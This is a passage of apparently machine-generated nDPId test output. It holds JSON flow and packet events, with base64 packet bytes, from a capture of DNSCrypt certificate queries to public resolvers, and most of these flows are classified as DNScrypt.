+00526{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":49518,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":43748,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327323,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcFy0gAL0RDQ4KAAABPtK0R6rkBB0GBCq4ByYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":43748,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":20,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327335,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQFy0Aub0RMeEKAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":20,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":57395,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327384,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcFy4gAL0RDQ0KAAABPtK0R+AzBB0GBPVqByQBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":21,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":57395,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":22,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327399,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQFy4Aub0RMeAKAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":22,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":53299,"dst_port":1053,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327408,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcFy8gAL0RDQwKAAABPtK0R9AzBB0GBAVtByIBAAABAAAAAAABATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":946739299327,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"62.210.180.71","src_port":53299,"dst_port":1053,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00447{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":24,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":327438,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQFy8Aub0RMd8KAAABPtK0RwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00195{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":24,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00664{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":355250,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWguYAADURTls+0rRHCgAAAQQdxzwAwvgJByeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAD603DX03HFYUGSUUMZQ5AFHqQDCbcRbndp5mF3SVu19eScXuGrpg2nLc5WDzV06y+FJw+Dah4cv34QVXrvZ7Q8nY1y4iPNLnPDmhCiX6M9Qv8kZOhpPDs+tmijF9ICJLydjXLiI80ucXop2NF6KdjRga6m0"} +00664{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739299,"pkt_ts_usec":356160,"pkt_caplen":228,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":228,"pkt_l4_len":194,"pkt":"ZmZmZmZmRERERERECABFAADWguUAADQRT1w+0rRHCgAAAQQdzZwAwvGtByOBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydANuczIIaXJpc2VkZW4CZnIAABAAAcAMABAAAQAAAAAAfXxETlNDAAEAAD603DX03HFYUGSUUMZQ5AFHqQDCbcRbndp5mF3SVu19eScXuGrpg2nLc5WDzV06y+FJw+Dah4cv34QVXrvZ7Q8nY1y4iPNLnPDmhCiX6M9Qv8kZOhpPDs+tmijF9ICJLydjXLiI80ucXop2NF6KdjRga6m0"} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":27,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":53697,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02384{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328460,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcHPkgAL0RfJ0KAAABuYbEN9HBIPsGBAgHfxoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAXAAAwFvAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":27,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":53697,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":946739304328,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"185.134.196.55","src_port":37413,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01101{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739304,"pkt_ts_usec":328460,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcHPpAAL0RYFwKAAABuYbEN5IlIPsCCECUfx8BAAABAAAAAAABATINZG5zY3J5cHQtY2VydARyZG5zBmZhZWxpeANuZXQAABAAAQAAAAAAAAAAAAHEAAwBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 